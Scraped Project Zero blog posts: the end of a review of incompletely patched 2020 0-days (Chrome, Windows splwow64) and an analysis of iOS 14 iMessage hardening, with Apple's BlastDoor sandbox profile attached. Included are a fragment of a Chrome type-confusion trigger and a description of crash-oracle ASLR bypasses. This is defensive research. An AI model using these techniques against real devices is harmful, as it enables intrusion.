   // the increment is changed to +Infinity. -Infinity + +Infinity = NaN

    increment = +Infinity;


  if (++k > 10) {




To “revive” the entire exploit, the attacker only needed to change a couple of lines in the trigger to have another working 0-day. This incomplete fix was reported to Chrome in February 2020. This patch was more conservative: it bailed as soon as the type detected that increment can be +Infinity or -Infinity.

Unfortunately, this patch introduced an additional security vulnerability, which allowed for a wider choice of possible “type confusions”. Again, check out Sergei’s blog post if you’re interested in more details.

This is an example where the exploit is found after the bug was initially reported by security researchers. As an aside, I think this shows why it’s important to work towards “correct & comprehensive” patches in general, not just vulnerabilities known to be exploited in-the-wild. The security industry knows there is a detection gap in our ability to detect 0-days exploited in-the-wild. We don’t find and detect all exploited 0-days and we certainly don’t find them all in a timely manner.

Windows splwow64 CVE-2020-0986

This vulnerability has already been discussed in the previous section on variants. After Kaspersky reported that CVE-2020-0986 was actively exploited as a 0-day, I began performing root cause analysis and variant analysis on the vulnerability. The vulnerability was patched in June 2020, but it was only disclosed as exploited in-the-wild in August 2020.

Microsoft’s patch for CVE-2020-0986 replaced the raw pointers that an attacker could previously send through the LPC message, with offsets. This didn’t fix the root cause vulnerability, just changed how an attacker would trigger the vulnerability. This issue was reported to Microsoft in September 2020, including a working trigger. Microsoft released a more complete patch for the vulnerability in January 2021, four months later. This new patch checks that all memcpy operations are only reading from and copying into the buffer of the message.

Correct and comprehensive patches

We’ve detailed how six 0-days that were exploited in-the-wild in 2020 were closely related to vulnerabilities that had been seen previously. We also showed how three vulnerabilities that were exploited in-the-wild were either not fixed correctly or not fixed comprehensively when patched this year.

When 0-day exploits are detected in-the-wild, it’s the failure case for an attacker. It’s a gift for us security defenders to learn as much as we can and take actions to ensure that that vector can’t be used again. The goal is to force attackers to start from scratch each time we detect one of their exploits: they’re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method. To do that, we need correct and comprehensive fixes.

Being able to correctly and comprehensively patch isn't just flicking a switch: it requires investment, prioritization, and planning. It also requires developing a patching process that balances both protecting users quickly and ensuring it is comprehensive, which can at times be in tension. While we expect that none of this will come as a surprise to security teams in an organization, this analysis is a good reminder that there is still more work to be done. 

Exactly what investments are likely required depends on each unique situation, but we see some common themes around staffing/resourcing, incentive structures, process maturity, automation/testing, release cadence, and partnerships.

While the aim is that one day all vulnerabilities will be fixed correctly and comprehensively, each step we take in that direction will make it harder for attackers to exploit 0-days.

In 2021, Project Zero will continue completing root cause and variant analyses for vulnerabilities reported as in-the-wild. We will also be looking over the patches for these exploited vulnerabilities with more scrutiny. We hope to also expand our work into variant analysis work on other vulnerabilities as well. We hope more researchers will join us in this work. (If you’re an aspiring vulnerability researcher, variant analysis could be a great way to begin building your skills! Here are two conference talks on the topic: my talk at BluehatIL 2020 and Ki Chan Ahn at OffensiveCon 2020.)

In addition, we would really like to work more closely with vendors on patches and mitigations prior to the patch being released. We often have ideas of how issues can be addressed. Early collaboration and offering feedback during the patch design and implementation process is good for everyone. Researchers and vendors alike can save time, resources, and energy by working together, rather than patch diffing a binary after release and realizing the vulnerability was not completely fixed.

A Look at iMessage in iOS 14

28 January 2021 at 19:47
By: Ryan

Posted By Samuel Groß, Project Zero

On December 20, Citizenlab published “The Great iPwn”, detailing how “Journalists [were] Hacked with Suspected NSO Group iMessage ‘Zero-Click’ Exploit”. Of particular interest is the following note: “We do not believe that [the exploit] works against iOS 14 and above, which includes new security protections''. Given that it is also now almost exactly one year ago since we published the Remote iPhone Exploitation blog post series, in which we described how an iMessage 0-click exploit can work in practice and gave a number of suggestions on how similar attacks could be prevented in the future, now seemed like a great time to dig into the security improvements in iOS 14 in more detail and explore how Apple has hardened their platform against 0-click attacks.

The content of this blog post is the result of a roughly one-week reverse engineering project, mostly performed on a M1 Mac Mini running macOS 11.1, with the results, where possible, verified to also apply to iOS 14.3, running on an iPhone XS. Due to the nature of this project and the limited timeframe, it is possible that I have missed some relevant changes or made mistakes interpreting some results. Where possible, I’ve tried to describe the steps necessary to verify the presented results, and would appreciate any corrections or additions.

The blog post will start with an overview of the major changes Apple implemented in iOS 14 which affect the security of iMessage. Afterwards, and mostly for the readers interested in the technical details, each of the major improvements is described in more detail while also providing a walkthrough of how it was reverse engineered. At least for the technical details, it is recommended to briefly review the blog post series from last year for a basic introduction to iMessage and the exploitation techniques used to attack it.


Memory corruption based 0-click exploits typically require at least the following pieces:

  1. A memory corruption vulnerability, reachable without user interaction and ideally without triggering any user notifications
  2. A way to break ASLR remotely
  3. A way to turn the vulnerability into remote code execution
  4. (Likely) A way to break out of any sandbox, typically by exploiting a separate vulnerability in another operating system component (e.g. a userspace service or the kernel)

With iOS 14, Apple shipped a significant refactoring of iMessage processing, and made all four parts of the attack harder. This is mainly due to three central changes:

1. The BlastDoor Service

One of the major changes in iOS 14 is the introduction of a new, tightly sandboxed “BlastDoor” service which is now responsible for almost all parsing of untrusted data in iMessages (for example, NSKeyedArchiver payloads). Furthermore, this service is written in Swift, a (mostly) memory safe language which makes it significantly harder to introduce classic memory corruption vulnerabilities into the code base.

The following diagram shows the rough new iMessage processing pipeline, with the name of the respective service process shown at the top of each box.

The iMessage processing pipeline in iOS 14 and macOS Big Sur. An iMessage arrives in apsd as a push notification from Apple’s servers. From there, it is first passed to identityservicesd, which decrypts its payload using the local iMessage private key, then to imagent. Imagent then delegates the majority of the parsing work to the BlastDoor service. Afterwards, if the iMessage contains any attachments, they are downloaded from iCloud servers by IMTransferAgent. If the iMessage contains plugin data (such as a URL with a preview image), the serialized plugin data is again processed by the BlastDoor service and a preview message is generated from it. Finally, IMDPersistenceAgent stores the iMessage into the messages database, triggers a user notification, and returns to imagent, which sends the delivery receipt to the iMessage servers and thus to the sender.

As can be seen, the majority of the processing of complex, untrusted data has been moved into the new BlastDoor service. Furthermore, this design with its 7+ involved services allows fine-grained sandboxing rules to be applied, for example, only the IMTransferAgent and apsd processes are required to perform network operations. As such, all services in this pipeline are now properly sandboxed (with the BlastDoor service arguably being sandboxed the strongest).

2. Re-randomization of the Dyld Shared Cache Region

Historically, ASLR on Apple’s platforms had one architectural weakness: the shared cache region, containing most of the system libraries in a single prelinked blob, was only randomized per boot, and so would stay at the same address across all processes. This turned out to be especially critical in the context of 0-click attacks, as it allowed an attacker, able to remotely observe process crashes (e.g. through timing of automatic delivery receipts), to infer the base address of the shared cache and as such break ASLR, a prerequisite for subsequent exploitation steps.

However, with iOS 14, Apple has added logic to specifically detect this kind of attack, in which case the shared cache is re-randomized for the targeted service the next time it is started, thus rendering this technique useless. This should make bypassing ASLR in a 0-click attack context significantly harder or even impossible (apart from brute force) depending on the concrete vulnerability.

3. Exponential Throttling to Slow Down Brute Force Attacks

To limit an attacker’s ability to retry exploits or brute force ASLR, the BlastDoor and imagent services are now subject to a newly introduced exponential throttling mechanism enforced by launchd, causing the interval between restarts after a crash to double with every subsequent crash (up to an apparent maximum of 20 minutes). With this change, an exploit that relied on repeatedly crashing the attacked service would now likely require in the order of multiple hours to roughly half a day to complete instead of a few minutes.

The remainder of this blog post will now look at each of these three changes in greater depths.

The BlastDoor Service

The new BlastDoor service and its role in the processing of iMessages can be studied by following the flow of an incoming iMessage. On the wire, a simple text iMessage would look something like this, encoded as binary plist:


    // Group UUID

    gid = "008412B9-A4F7-4B96-96C3-70C4276CB2BE";

    // Group protocol version

    gv = 8;

    // Chat participants

    p =     (

        "mailto:[email protected]",

        "mailto:[email protected]"


    // Participants version

    pv = 0;

    // Message being replied to, usually the last message in the chat 

    r = "6401430E-CDD3-4BC7-A377-7611706B431F";

    // The plain text content

    t = "Hello World!";

    // Probably some other version number

    v = 1;

    // The rich text content    

    x = "<html><body>Hello World!</body></html>";  


As such, the minimal steps required to parse it are:

  1. If necessary, decompress the binary data
  2. Decode the plist from its binary serialization format
  3. Extract its various fields and ensure they have the correct type
  4. Decode the `x` key if present, using an XML decoder

Previously, all of this work happened in imagent. With iOS 14, however, it all moved into the new BlastDoor service. While the main processing flow still starts in imagent, which receives the raw but unencrypted payload bytes from identityservicesd (part of the IDS framework) in -[IMDiMessageIDSDelegate service:account:incomingTopLevelMessage:fromID:messageContext:], messages are then more or less immediately forwarded to the BlastDoor service through +[IMBlastdoor sendDictionary:withCompletionBlock:] which creates the reply handler block and then calls -[IMMessagesBlastDoorInterface diffuseTopLevelDictionary:resultHandler:]. At that point processing ends up in Swift code that deserializes the binary payload and sends it to the BlastDoor service over XPC.

Inside BlastDoor, the work mostly happens in BlastDoor.framework and MessagesBlastDoorService. As most of it is written in Swift, it is fairly unpleasant to statically reverse engineer it (no symbols, many virtual calls, swift runtime code sprinkled all over the place), but fortunately, that is also not really necessary for the purpose of this blog post. However, it is worth noting that while the high level control flow logic is written in Swift, some of the parsing steps still involve the existing ObjectiveC or C implementations. For example, XML is being parsed by libxml, and the NSKeyedArchiver payloads by the ObjectiveC implementation of NSKeyedUnarchiver.

The responses from BlastDoor can be seen by breaking on the reply handler function in imagent (the function can be found in +[IMBlastdoor sendDictionary:withCompletionBlock:] or by searching for XREFs to the string “Blastdoor response %p received (command: %hhu, guid: %@)” in IMDaemonCore.framework). A typical BlastDoor response for a simple text message is shown below:

(lldb) po $x2


    metadata: BlastDoor.Metadata(

        messageGUID: D391CC96-9CC6-44C6-B827-1DEB0F252529,

        timestamp: Optional(1610108299117662350),

        wantsDeliveryReceipt: true,

        wantsCheckpointing: false,

        storageContext: BlastDoor.Metadata.StorageContext(

            isFromStorage: false, isLastFromStorage: false



    messageSubType: MessageType.textMessage(BlastDoor.Message(

        plainTextBody: Optional("Hello World"),

        plainTextSubject: nil,

        content: Optional(BlastDoor.AttributedString(

            attributes: [


                    range: Range(0..<11), direction: WritingDirection.natural



                    range: Range(0..<11), partNumber: 0



            string: "Hello World"


        _participantDestinationIdentifiers: [

            "mailto:[email protected]",

            "mailto:[email protected]"


        attributionInfo: []


    encryptionType: BlastDoor.TextMessage.EncryptionType.pair_ec,

    replyToGUID: Optional(6401430E-CDD3-4BC7-A377-7611706B431F),

    _threadIdentifierGUID: nil,

    _expressiveSendStyleIdentifier: nil,

    _groupID: Optional("008412B9-A4F7-4B96-96C3-70C4276CB2BE"),

    currentGroupName: nil,

    groupParticipantVersion: Optional(0),

    groupProtocolVersion: Optional(8),

    groupPhotoCreationTime: nil,

    messageSummaryInfo: nil,

    nicknameInformation: nil,

    truncatedNicknameRecordKey: nil


One can roughly associate every field in this data structure with parts of the on-wire iMessage format. For example, the plainTextBody field contains the content of the `t` field, while the content field corresponds to the content of the `x` field.

Besides simple text messages, iMessages can additionally contain attachments (essentially arbitrary files which are encrypted and temporarily uploaded to iCloud) as well as rather complex serialized NSKeyedArchiver archives, which have been the source of bugs in the past.

For these types of iMessages, the following additional parsing steps are necessary:

  1. Unpack attachment metadata (NSKeyedArchiver format)
  2. Download attachments from iCloud server
  3. Deserialize NSKeyedArchiver plugin archives and generate a preview for the notification

As an example, consider what happens when a user sends a link to a website over iMessage. In that case, the sending device will first render a preview of the webpage and collect some metadata about it (such as the title and page description), then pack those fields into an NSKeyedArchiver archive. This archive is then encrypted with a temporary key and uploaded to the iCloud servers. Finally, the link as well as the decryption key are sent to the receiver as part of the iMessage. In order to create a useful user notification about the incoming iMessage, this data has to be processed by the receiver on a 0-click code path. As that again involves a fair amount of complexity, it is also done inside BlastDoor: after receiving the BlastDoor reply from above and realizing that the message contains an attachment, imagent first instructs IMTransferAgent to download and decrypt the iCloud attachment. Afterwards, it will call into -[IMTranscodeController decodeiMessageAppPayload:bundleID:completionBlock:blockUntilReply:] which forwards the relevant data to the IMTranscoderAgent, which then proceeds into +[IMAttachmentBlastdoor sendBalloonPluginPayloadData:withBundleIdentifier:completionBlock:] and finally calls -[IMMessagesBlastDoorInterface defuseBalloonPluginPayload:withIdentifier:resultHandler:].

In the BlastDoor service, the plugin data decoding is then again performed in Swift, and dispatched to the corresponding plugin type, as determined by the plugin id. For RichLinks (plugin id com.apple.messages.URLBalloonProvider), processing ends up in LinkPresentation.MessagesPayload.init(dataRepresentation:), which deserializes the NSKeyedArchiver payload and to extract the preview image and URL metadata from it in order to generate a preview message.


The sandbox profile can be found in System/Library/Sandbox/Profiles/blastdoor.sb and is also attached at the end of this blog post. It appears to be identical on iOS and macOS. The profile can be studied statically, and for that purpose is attached at the bottom of this blogpost, or dynamically, for example by using the sandbox-exec tool:

> echo "(allow process-exec (literal \"$(pwd)/test\"))" >> ./blastdoor.sb

> clang -o test test.c   # try to open files, network connections, etc.

> sandbox-exec -f ./blastdoor.sb ./test

The sandbox profile states:

;;; This profile contains the rules necessary to make BlastDoor as close to

;;; compute-only as possible, while still remaining functional.

And indeed, the sandbox profile is quite tight:

  • only a handful of local IPC services, namely diagnosticd, logd, opendirectoryd, syslogd, and notifyd, can be reached
  • almost all file system interaction is blocked
  • any interaction with IOKit drivers (historically a big source of vulnerabilities) is forbidden
  • outbound network access is denied

Furthermore, the profile makes use of syscall filtering to restrict the interactions with the core kernel. However, as of now the syscall filter seems to be in “permissive” mode:

;; To be uncommented once the system call whitelist is complete...

;; (deny syscall-unix (with send-signal SIGKILL))

As such, the BlastDoor service is still allowed to perform any syscall, but it is to be expected that the syscall filtering will soon be put into “enforcement mode”, which would further boost its effectiveness.

Crash Monitoring?

An interesting side effect of the new processing pipeline is that imagent is now able to detect when an incoming message caused a crash in BlastDoor (it will receive an XPC error). Even more interesting is the fact that imagent appears to be informing Apple’s servers about such events, as can be seen by setting a breakpoint on -[APSConnectionServer handleSendOutgoingMessage:] in apsd, the daemon responsible for implementing Apple’s push services (on top of which iMessage is built). Displaying the outgoing message will show the following:

(lldb) po [$x2 dictionaryRepresentation]


    APSCritical = 1;

    APSMessageID = 543;

    APSMessageIdentifier = 1520040396;

    APSMessageTopic = "com.apple.madrid";

    APSMessageUserInfo =     {

        c = 115;

        fR = 13500;

        fRM = "c-100-BlastDoor.Explosion-1-com.apple.BlastDoor.XPC-ServiceCrashed";

        fU = {length = 16, bytes = 0x3a4912626c9645f98cb26c7c2d439520};

        i = 1520040396;

        nr = 1;

        t = {length = 32, bytes = ... };

        ua = "[macOS,11.1,20C69,Macmini9,1]";

        v = 7;


    APSOutgoingMessageSenderTokenName = 501;

    APSPayloadFormat = 1;

    APSTimeout = 120;

    APSTimestamp = "2021-01-06 19:52:10 +0000";


As can be seen, imagent is apparently informing the iMessage servers that the message with the UUID 0x3a4912626c9645f98cb26c7c2d439520 (fU key) has caused a crash in BlastDoor.

It is unclear what the purpose of this is without access to the server’s code. While these notifications may simply be used for statistical purposes, they would also give Apple a fairly clear signal about attacks against iMessage involving brute-force and a somewhat weaker signal about any failed exploits against the BlastDoor service.

In my experiments, after observing one of these crash notifications, the server would start directly sending delivery receipts to the sender for messages that hadn't actually been processed by the receiver yet. Possibly this is another, independent effort to break the crash oracle technique by confusing the sender, but that is hard to verify without access to the code running on the server. In any case, it is worth noting that this “spoofing” of delivery receipts by the server is generally possible as the message UUID, which is more or less the only content of a delivery receipt, is part of the non-end2end encrypted payload and is thus known to the server (break on -[APSConnectionServer handleSendOutgoingMessage:] and inspect outgoing iMessages to verify this, the UUID will be in the U key, while the e2e-encrypted data will be in the P key). This is most likely necessary so the server can track which messages have already been delivered and which ones it still needs to keep around for delivery in the future.

Shared Cache Resliding

Previously, when exploiting an iMessage memory corruption bug, a “crash oracle” could be used to reveal the location of the shared cache region in memory: the attacker would trigger the memory corruption bug in a way that would cause an access to a memory location somewhere in the region 0x180000000 - 0x280000000 (where the shared cache can be mapped). If the memory was valid, no crash would occur and imagent would then send a delivery receipt to the attacker. However, If a crash occurred, no such receipt would be delivered, informing the attacker that the address was unmapped. Through clever selection of the queried addresses, the location of the shared cache could be revealed in logarithmic time, with only about 20 messages.

However, with iOS 14 Apple has added a mechanism to re-randomize the location of the shared cache region for an “attacked” process, thus breaking a fundamental assumption of this technique and rendering it ineffective. This is significant as the crash oracle technique was one of very few, if not the only, fairly generic ASLR bypass techniques usable in 0-click iMessage attacks.

To understand how the shared cache resliding works, one can start by looking at the kernel. In iOS 14, the kernel can now have two active shared cache regions: the “regular” region and a “reslided” region. During an attack, the following then happens:

  1. When an attacker attempts to use a crash-oracle-based technique, the attacked process would quickly end up accessing unmapped memory in the range 0x180000000 - 0x280000000 (where the shared cache is mapped) and crashes
  2. The kernel handles the segmentation fault generated by the CPU, and sets a specific flag in the crash info that signals that the crash happened inside the shared cache region
  3. At the same time, the kernel will mark the currently active reslided shared cache region (if one exists) as stale, causing it to be recreated and thus re-randomized the next time it is used
  4. launchd (as the parent process of the crashed service) receives the crash info, notices the OS_REASON_FLAG_SHAREDREGION_FAULT flag, and sets the ReslideSharedCache property on the service associated with the crashed process (see `launchctl procinfo $pid` and search for `reslide shared cache = 1`)
  5. The next time the service is restarted, launchd then adds the POSIX_SPAWN_RESLIDE attribute for posix_spawn due to the ReslideSharedCache property
  6. In the kernel, this flag now causes the newly created process to be given the reslided shared cache image. However, as no active reslided region currently exists (the previous one was marked as stale in step 3.), a new one is created at a newly randomized address.

The result of this is that whenever an attacker attempts to use a crash-oracle to break ASLR, the attacked service would receive a different shared cache region every time it is launched, thus preventing the attack from succeeding. For the time being, this feature appears to only be active on iOS though, but it would be expected to come to macOS as well.

While this mechanism would in principle also protect 3rd party apps from similar attacks, protection for those is currently somewhat weaker, likely in order to first evaluate the real-world performance impact of this change (the shared cache is a significant performance optimization of the OS). In particular, step 3 is currently only performed if the crashing process is a platform binary (essentially binaries that ship with the OS and are directly signed by Apple) such as the services handling iMessages. However, for 3rd party processes, it would only happen if the global vm_shared_region_reslide_restrict is set to zero:


 * Flag to control what processes should get shared cache randomize resliding

 * after a fault in the shared cache region:


 * 0 - all processes get a new randomized slide

 * 1 - only platform processes get a new randomized slide


Which is controlled by the vm_shared_region_reslide_restrict bootarg. This currently seems to be set to one. In essence, for 3rd party apps this means:

  1. When the attacked process first crashes, the kernel will still set the OS_REASON_FLAG_SHAREDREGION_FAULT flag, and launchd will add the ReslideSharedCache property, but the current reslided region won’t be invalidated
  2. The restarted service is then restarted and now uses the “reslided” shared cache region
  3. When the service crashes the next time, and if that service is the only one currently using the reslided shared cache region (which should usually be the case, but could possibly be influenced by the attacker), the region’s refcount drops to zero, and the shared cache region is marked for removal.
  4. However, removal will only actually happen after two minutes. As such, if the service is restarted within two minutes, it will receive the same shared cache region at the same location in memory.

As a result, a third-party app could still be attacked through a crash-oracle technique if it automatically sends some form of delivery receipt to the sender and restarts quickly enough after a crash. This could, however, be prevented for example by enabling ExponentialThrottling for these services. Ideally, and assuming that the performance penalty is reasonable, Apple would enable re-randomization for all apps in the future.

Exponential Throttling

Another thing we suggested back in 2019 was to limit the number of attempts an attacker gets when attempting to exploit a vulnerability. This was mostly important to defend against the crash-oracle technique, but would also help to prevent brute force attacks (e.g., given enough attempts, one could simply brute force the location of the shared cache region). The new ExponentialThrottling feature in launchd seems to achieve just that.

To use it, a system daemon or agent has to opt-in by setting "_ExponentialThrottling = 1” in its Info.plist (essentially the service metadata), as can be seen below for the BlastDoor service:

> plutil -p /System/Library/PrivateFrameworks/MessagesBlastDoorSupport.framework/Versions/A/XPCServices/MessagesBlastDoorService.xpc/Contents/Info.plist


  "CFBundleDisplayName" => "MessagesBlastDoorService"

  "CFBundleExecutable" => "MessagesBlastDoorService"

  "CFBundleIdentifier" => "com.apple.MessagesBlastDoorService"


  "XPCService" => {

    "_ExponentialThrottling" => 1



Apart from the BlastDoor service, it is also used for imagent:

> plutil -p /System/Library/LaunchAgents/com.apple.imagent.plist


  "_ExponentialThrottling" => 1


but doesn’t appear to be used for any other service, as can, for example, be seen by looking at the output of the launchctl dumpstate command, which will only show “exponential throttling = 1” for com.apple.imagent and com.apple.MessagesBlastDoorService.

Presumably, the _ExponentialThrottling property instructs launchd (the macOS and iOS init process), to delay subsequent restarts of a crashing service. While it is somewhat challenging to statically reverse engineer launchd due to the lack of source code or binary symbols, it is fortunately fairly easy to experimentally determine the impact of the _ExponentialThrottling property, for example by installing a custom daemon that writes the current timestamp to a file before crashing. By default, so without ExponentialThrottling, one would see the following:

Service started on Wed Jan  6 13:56:03 2021

Service started on Wed Jan  6 13:56:13 2021

Service started on Wed Jan  6 13:56:23 2021

Service started on Wed Jan  6 13:56:33 2021

As can be seen, by default, a service is, at the earliest, restarted ten seconds after it was previously started. However, using the following service plist which enables ExponentialThrottling:

> # Start service with

> # launchctl bootstrap system /Library/LaunchDaemons/net.saelo.test.plist

> plutil -p /Library/LaunchDaemons/net.saelo.test.plist


  "_ExponentialThrottling" => 1

  "KeepAlive" => 1

  "Label" => "net.saelo.test"

  "POSIXSpawnType" => "Interactive"

  "Program" => "/path/to/program"


One can observe the following:

Service started on Wed Jan  6 10:42:43 2021

Service started on Wed Jan  6 10:42:53 2021 (+10s)

Service started on Wed Jan  6 10:43:03 2021 (+10s)

Service started on Wed Jan  6 10:43:13 2021 (+10s)

Service started on Wed Jan  6 10:43:33 2021 (+20s)

Service started on Wed Jan  6 10:44:13 2021 (+40s)

Service started on Wed Jan  6 10:45:33 2021 (+80s)

Service started on Wed Jan  6 10:48:13 2021 (+160s [~2.5m])

Service started on Wed Jan  6 10:53:33 2021 (+320s [~5m])

Service started on Wed Jan  6 11:04:13 2021 (+640s [~10m])

Service started on Wed Jan  6 11:24:13 2021 (+20m)

Service started on Wed Jan  6 11:44:13 2021 (+20m)

Service started on Wed Jan  6 12:04:13 2021 (+20m)

Here, the exponential increase in the time between subsequent restarts is clearly visible, and goes up to an apparent maximum of 20 minutes. And indeed, launchd does contain the following bit of code in a function presumably responsible for computing the next restart delay (search for XREFs to the string "%s: service throttled by %llu seconds"):

  if ( delay >= 1200 )

    result = 1200LL;                 // 20 minutes


    result = delay;

With this change, an exploit that relied on brute force would now only get one attempt every 20 minutes instead of every 10 seconds.

(Upcoming?) ObjectiveC ISA PAC

The PoC exploit against iMessage on iOS 12.4 relied heavily on faking ObjectiveC objects to gain a form of arbitrary code execution despite the presence of pointer authentication (PAC). This was mainly possible because the ISA field, containing the pointer to the Class object and thus making a piece of memory appear like a valid ObjectiveC object, was not protected through PAC and could thus be faked. With iOS 14, this now seems to be changing: while previously, the top 19 bits of the ISA value contained the inline refcount, it now appears that this field has been reduced to 9 bits (of which the LSB appears to be reserved for some purpose, leaving an 8-bit inline refcount, see the bit shifting logic in objc_release or objc_retain), while the freed-up bits now hold a PAC, as can be seen in objc_rootAllocWithZone in libobjc.dylib:

    ; Allocate the object

    BL              j__calloc_3

    CBZ             X0, loc_1953DA434

    MOV             X8, X0

    ; “Tag” the address with a constant to get a PAC modifier value

    MOVK            X8, #0x6AE1,LSL#48        

    MOV             X9, X19

    ; Compute PAC of Class pointer with tagged object address as modifier

    PACDA           X9, X8

    ; Clear top 9 bits (inline refcnt) and bottom 3 bits (other bitfields)       

    AND             X8, X9, #0x7FFFFFFFFFFFF8

    ; Set LSB and inline refcount to one

    MOV             X9, #0x100000000000001

    ORR             X9, X8, X9

    ; Presumably, the refcnt isn’t used for all types of classes...

    TST             W20, #0x2000

    CSEL            X8, X9, X8, EQ

    ; Store the resulting value into the ISA field

    STR             X8, [X0]

However, currently the ISA PAC appears to never be checked, as such, it doesn’t yet affect any exploits. The most likely reason for this is that the ISA PAC feature is being rolled out in multiple phases, with the current implementation meant to allow in-depth performance evaluation, in particular of the reduced size of the inline refcount, which will likely cause more objects to use the more expensive out-of-line refcounting (used once the inline refcount saturates). With that, it can be expected that, in the absence of major performance issues, future releases of iOS and macOS will use PAC for the ObjC ISA field, thus likely breaking exploits that have to rely on faking ObjectiveC objects to achieve arbitrary code execution.


This blog post discussed three improvements in iOS 14 affecting iMessage security: the BlastDoor service, resliding of the shared cache, and exponential throttling. Overall, these changes are probably very close to the best that could’ve been done given the need for backwards compatibility, and they should have a significant impact on the security of iMessage and the platform as a whole. It’s great to see Apple putting aside the resources for these kinds of large refactorings to improve end users’ security. Furthermore, these changes also highlight the value of offensive security work: not just single bugs were fixed, but instead structural improvements were made based on insights gained from exploit development work.

As for the alleged NSO iMessage exploit, it may have been prevented from working against iOS 14 by any of the following:

  • The bug was fixed in iOS 14, for example due to the rewrite of large parts of the iMessage processing pipeline in Swift
  • The mere fact that processing happens in a different process, which could for example break a heap layouting primitive
  • The shared cache resliding would break their exploit if their exploit relied on some form of crash oracle to break ASLR
  • The stronger sandbox of the BlastDoor service, which could prevent the exploitation of a privilege escalation vulnerability after compromising the BlastDoor process

While these are some possible scenarios, and it could be the case that the exploit “just” needs some re-engineering to function again, the fact that these security improvements were shipped is certainly a positive outcome.

Attachment 1: blastdoor.sb

;;; This profile contains the rules necessary to make BlastDoor as close to

;;; compute-only as possible, while still remaining functional.


;;; For all platforms: /System/Library/PrivateFrameworks/MessagesBlastDoorSupport.framework/XPCServices/MessagesBlastDoorService.xpc/MessagesBlastDoorService

(version 1)

;;; -------------------------------------------------------------------------------------------- ;;;

;;; Basic Rules

;;; -------------------------------------------------------------------------------------------- ;;;

;; Deny all default rules.

(deny default)

(deny file-map-executable process-info* nvram*)

(deny dynamic-code-generation)

;; Rules copied from system.sb. Ones that we've deemed overly permissive

;; or unnecessary for BlastDoor have been removed.

;; Allow read access to standard system paths.

(allow file-read*

       (require-all (file-mode #o0004)

                    (require-any (subpath "/System")

                                 (subpath "/usr/lib")

                                 (subpath "/usr/share")

                                 (subpath "/private/var/db/dyld"))))

(allow file-map-executable

       (subpath "/System/Library/CoreServices/RawCamera.bundle")

       (subpath "/usr/lib")

       (subpath "/System/Library/Frameworks"))

(allow file-test-existence (subpath "/System"))

(allow file-read-metadata

       (literal "/etc")

       (literal "/tmp")

       (literal "/var")

       (literal "/private/etc/localtime"))

;; Allow access to standard special files.

(allow file-read*

       (literal "/dev/random")

       (literal "/dev/urandom"))

(allow file-read* file-write-data

       (literal "/dev/null")

       (literal "/dev/zero"))

(allow file-read* file-write-data file-ioctl

       (literal "/dev/dtracehelper"))

;; TODO: Don't allow core dumps to be written out unless this is on a dev

;; fused device?

(allow file-write*

       (require-all (regex #"^/cores/")

                    (require-not (file-mode 0))))

;; Allow IPC to standard system agents.

(allow mach-lookup

       (global-name "com.apple.diagnosticd")

       (global-name "com.apple.logd")

       (global-name "com.apple.system.DirectoryService.libinfo_v1")

       (global-name "com.apple.system.logger")

       (global-name "com.apple.system.notification_center"))

;; Allow mostly harmless operations.

(allow signal process-info-dirtycontrol process-info-pidinfo

       (target self))

;; Temporarily allow sysctl-read with reporting to see if this is

;; used for anything.

(allow (with report) sysctl-read)

;; We don't need to post any darwin notifications.

(deny darwin-notification-post)

;; We shouldn't allow any other file operations not covered under

;; the default of deny above.

(deny file-clone file-link)

;; Don't deny file-test-existence: <rdar://problem/59611011>

;; (deny file-test-existence)

;; Don't allow access to any IOKit properties.

(deny iokit-get-properties)

(deny mach-cross-domain-lookup)

;; Don't allow BlastDoor to spawn any other XPC services other than

;; ones that we can intentionally whitelist later.

(deny mach-lookup (xpc-service-name-regex #".*"))

;; Don't allow any commands on sockets.

(deny socket-ioctl)

;; Denying this should have no ill effects for our use case.

(deny system-privilege)

;; To be uncommented once the system call whitelist is complete...

;; (deny syscall-unix (with send-signal SIGKILL))

(allow syscall-unix

       (syscall-number SYS_exit)

       (syscall-number SYS_kevent_qos)

       (syscall-number SYS_kevent_id)

       (syscall-number SYS_thread_selfid)

       (syscall-number SYS_bsdthread_ctl)

       (syscall-number SYS_kdebug_trace64)

       (syscall-number SYS_getattrlist)

       (syscall-number SYS_sigsuspend_nocancel)

       (syscall-number SYS_proc_info)


       (syscall-number SYS___disable_threadsignal)

       (syscall-number SYS___pthread_sigmask)

       (syscall-number SYS___mac_syscall)

       (syscall-number SYS___semwait_signal_nocancel)

       (syscall-number SYS_abort_with_payload)

       (syscall-number SYS_access)

       (syscall-number SYS_bsdthread_create)

       (syscall-number SYS_bsdthread_terminate)

       (syscall-number SYS_close)

       (syscall-number SYS_close_nocancel)

       (syscall-number SYS_connect)

       (syscall-number SYS_csops_audittoken)

       (syscall-number SYS_csrctl)

       (syscall-number SYS_fcntl)

       (syscall-number SYS_fsgetpath)

       (syscall-number SYS_fstat64)

       (syscall-number SYS_fstatfs64)

       (syscall-number SYS_getdirentries64)

       (syscall-number SYS_geteuid)

       (syscall-number SYS_getfsstat64)

       (syscall-number SYS_getgid)

       (syscall-number SYS_getrlimit)

       (syscall-number SYS_getuid)

       (syscall-number SYS_ioctl)

       (syscall-number SYS_issetugid)

       (syscall-number SYS_lstat64)

       (syscall-number SYS_madvise)

       (syscall-number SYS_mmap)

       (syscall-number SYS_munmap)

       (syscall-number SYS_mprotect)

       (syscall-number SYS_mremap_encrypted)

       (syscall-number SYS_open)

       (syscall-number SYS_open_nocancel)

       (syscall-number SYS_openat)

       (syscall-number SYS_pathconf)

       (syscall-number SYS_pread)

       (syscall-number SYS_read)

       (syscall-number SYS_readlink)

       (syscall-number SYS_shm_open)

       (syscall-number SYS_socket)

       (syscall-number SYS_stat64)

       (syscall-number SYS_statfs64)

       (syscall-number SYS_sysctl)

       (syscall-number SYS_sysctlbyname)

       (syscall-number SYS_workq_kernreturn)

       (syscall-number SYS_workq_open)


;; Still allow the system call but report in log.

(allow (with report) syscall-unix)

;; For validating the entitlements of clients. This is so only entitled

;; clients can pass data into a BlastDoor instance.

(allow process-info-codesignature)

;;; -------------------------------------------------------------------------------------------- ;;;

;;; Reading Files

;;; -------------------------------------------------------------------------------------------- ;;;

;; Support for BlastDoor receiving sandbox extensions from clients to either read files, or

;; write to a target location.

;; com.apple.app-sandbox.read

(allow file-read*

       (extension "com.apple.app-sandbox.read"))

;; com.apple.app-sandbox.read-write

(allow file-read* file-write*

       (extension "com.apple.app-sandbox.read-write"))

Windows Exploitation Tricks: Trapping Virtual Memory Access

21 January 2021 at 19:33
By: Ryan

